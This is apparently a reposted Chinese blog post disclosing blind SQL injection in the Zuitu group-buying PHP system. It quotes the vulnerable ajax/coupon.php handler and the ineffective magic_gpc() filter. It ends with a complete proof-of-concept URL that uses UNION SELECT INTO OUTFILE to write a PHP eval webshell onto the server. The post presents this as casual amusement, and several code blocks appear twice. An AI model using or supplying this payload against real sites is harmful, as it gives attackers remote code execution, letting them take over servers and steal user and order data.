当前位置: 首页 > news >正文

最土团购网盲注n枚

最土团购系统是国内最专业、功能最强大的GroupOn模式的免费开源团购系统平台,专业技术团队、完美用户体验与极佳的性能,立足为用户提供最值得信赖的免费开源网上团购系统。
从技术层面来看,本程序采用目前软件开发IT业界较为流行的PHP和MYSQL数据库开发技术架构。从功能层面来看,前台首页每天显示一个服务或产品的限时限最低成团人数的团购项目,具有邮件订阅,好友邀请,人人网、开心网、新浪微博、MSN/QQ分享,短信发送,购买凭证券在线打印、下载等功能。 最土团购程序管理员后台具有人性化的邮件发送参数配置、邀请返利金额配置、短信接口配置、每日团购项目信息管理等控制管理模块,迅速的帮助有热情、有志向 投入运营团购网站的客户建立属于自己的团购网站。
为了能高效地开发网站,公司有一套系统化的开发原则,但也不是作为一成不变的必须严格遵守的条文,特殊情况下可以灵活运用,做一定的变通。这样做的好处是在开发过程中会减少出错的几率,并使编程更加高效,有利于开发人员之间的合作,在出现BUG时也更容易查找漏洞。

0×0

最土团购盲注n枚

ajax/coupon.php

<?php
require_once(dirname(dirname(__FILE__)) . ‘/app.php’);

$action = strval($_GET['action']);
$cid = strval($_GET['id']);
$sec = strval($_GET['secret']);

… … … … … … … … … … … … … … … …

else if ($action == ‘mobile_choice’){
$oid = strval($_GET['mid']);
$order = Table::Fetch(‘order’, $oid);
$user = Table::Fetch(‘user’,$order['user_id']);
$mobile = $order['mobile'];
if (!Utility::IsMobile($mobile)) {
$mobile= $user['mobile'];
}
$html = render(‘ajax_dialog_fillmobile’);
json($html, ‘dialog’);
}

<?php
require_once(dirname(dirname(__FILE__)) . ‘/app.php’);

$action = strval($_GET['action']);
$cid = strval($_GET['id']);
$sec = strval($_GET['secret']);

… … … … … … … … … … … … … … … …

else if ($action == ‘mobile_choice’){
$oid = strval($_GET['mid']);
$order = Table::Fetch(‘order’, $oid);
$user = Table::Fetch(‘user’,$order['user_id']);
$mobile = $order['mobile'];
if (!Utility::IsMobile($mobile)) {
$mobile= $user['mobile'];
}
$html = render(‘ajax_dialog_fillmobile’);
json($html, ‘dialog’);
}
当action为mobile_choice时,mid参数没有任何过滤直接传入查询,导致了注入的发生。老实说,代码里有个函数很像是用来做过滤的,看:

/app.php

<?php
require_once(dirname(__FILE__). ‘/include/application.php’);

/* magic_quota_gpc */
$_GET = magic_gpc($_GET);
$_POST = magic_gpc($_POST);
$_COOKIE = magic_gpc($_COOKIE);

<?php
require_once(dirname(__FILE__). ‘/include/application.php’);

/* magic_quota_gpc */
$_GET = magic_gpc($_GET);
$_POST = magic_gpc($_POST);
$_COOKIE = magic_gpc($_COOKIE);
看得到有个magic_gpc(),再去看这个函数如何实现的

function magic_gpc($string) {
if(SYS_MAGICGPC) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = magic_gpc($val);
}
} else {
$string = stripslashes($string);
}
}
return $string;
}

function magic_gpc($string) {
if(SYS_MAGICGPC) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = magic_gpc($val);
}
} else {
$string = stripslashes($string);
}
}
return $string;
}
若SYS_MAGICGPC为1,那就stripeslashes每个元素,如果没有则什么都不做,但是只有当gpc打开时,SYS_MAGICGPC为1。这是过滤?不知道,求大牛科普。

总之这样的代码漏洞百出,像是sql注入应该一抓一大把。权当用来消遣

0×1 PoC

测试:

http://target.com/ajax/coupon.php?action=mobile_choice&mid=1′)/**/and/**/1=2/**/union/**/select/**/

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

,28,29,30,31,32,33,34,35,36,37,38,39,40,%22%3C?php%22,%22@eval($_POST['ztz']);?%3E%22/**/into/**/outfile/**/%22c:\\xxx\\zuitu.php%22;%23

原文:http://fuzzexp.org/

相关文章:

  • MyBB plugin SQLi 0day
  • 使用HTTP_X_FORWARDED_FOR获取客户端IP的严重后果
  • ownCloud 开源云数据存储平台
  • PHPCMS v9 Getshell(Apache)
  • 从MSSQL里执行命令导出为MDF
  • load_file()常用路径
  • 计算机网络的分层体系结构
  • windows 环境变量被改变了,不能使用cmd ?怎么办?
  • Ubuntu命令大合集
  • JDK1.6在LINUX下的安装配置
  • 配置squid 反向代理提高网站性能
  • PHP中常用的正则表达式收藏
  • cisco三层交换配置命令
  • Linux服务器安全防护
  • oracle常用的几个数据库信息查询
  • [ 一起学React系列 -- 8 ] React中的文件上传
  • 【译】React性能工程(下) -- 深入研究React性能调试
  • 78. Subsets
  • cookie和session
  • HTTP中GET与POST的区别 99%的错误认识
  • JAVA_NIO系列——Channel和Buffer详解
  • Linux快速配置 VIM 实现语法高亮 补全 缩进等功能
  • markdown编辑器简评
  • maya建模与骨骼动画快速实现人工鱼
  • nodejs调试方法
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • Redash本地开发环境搭建
  • Redis 懒删除(lazy free)简史
  • Web Storage相关
  • 从重复到重用
  • 猴子数据域名防封接口降低小说被封的风险
  • 基于Javascript, Springboot的管理系统报表查询页面代码设计
  • 驱动程序原理
  • 使用agvtool更改app version/build
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • 数据仓库的几种建模方法
  • 微信小程序上拉加载:onReachBottom详解+设置触发距离
  • 限制Java线程池运行线程以及等待线程数量的策略
  • 小程序01:wepy框架整合iview webapp UI
  • 一、python与pycharm的安装
  • 原生js练习题---第五课
  • 浅谈sql中的in与not in,exists与not exists的区别
  • # Apache SeaTunnel 究竟是什么?
  • #AngularJS#$sce.trustAsResourceUrl
  • #includecmath
  • (0)Nginx 功能特性
  • (C语言)fgets与fputs函数详解
  • (Redis使用系列) SpringBoot 中对应2.0.x版本的Redis配置 一
  • (TipsTricks)用客户端模板精简JavaScript代码
  • (二)构建dubbo分布式平台-平台功能导图
  • (附源码)spring boot基于Java的电影院售票与管理系统毕业设计 011449
  • (附源码)springboot美食分享系统 毕业设计 612231
  • (免费领源码)Java#ssm#MySQL 创意商城03663-计算机毕业设计项目选题推荐
  • (转)EOS中账户、钱包和密钥的关系
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版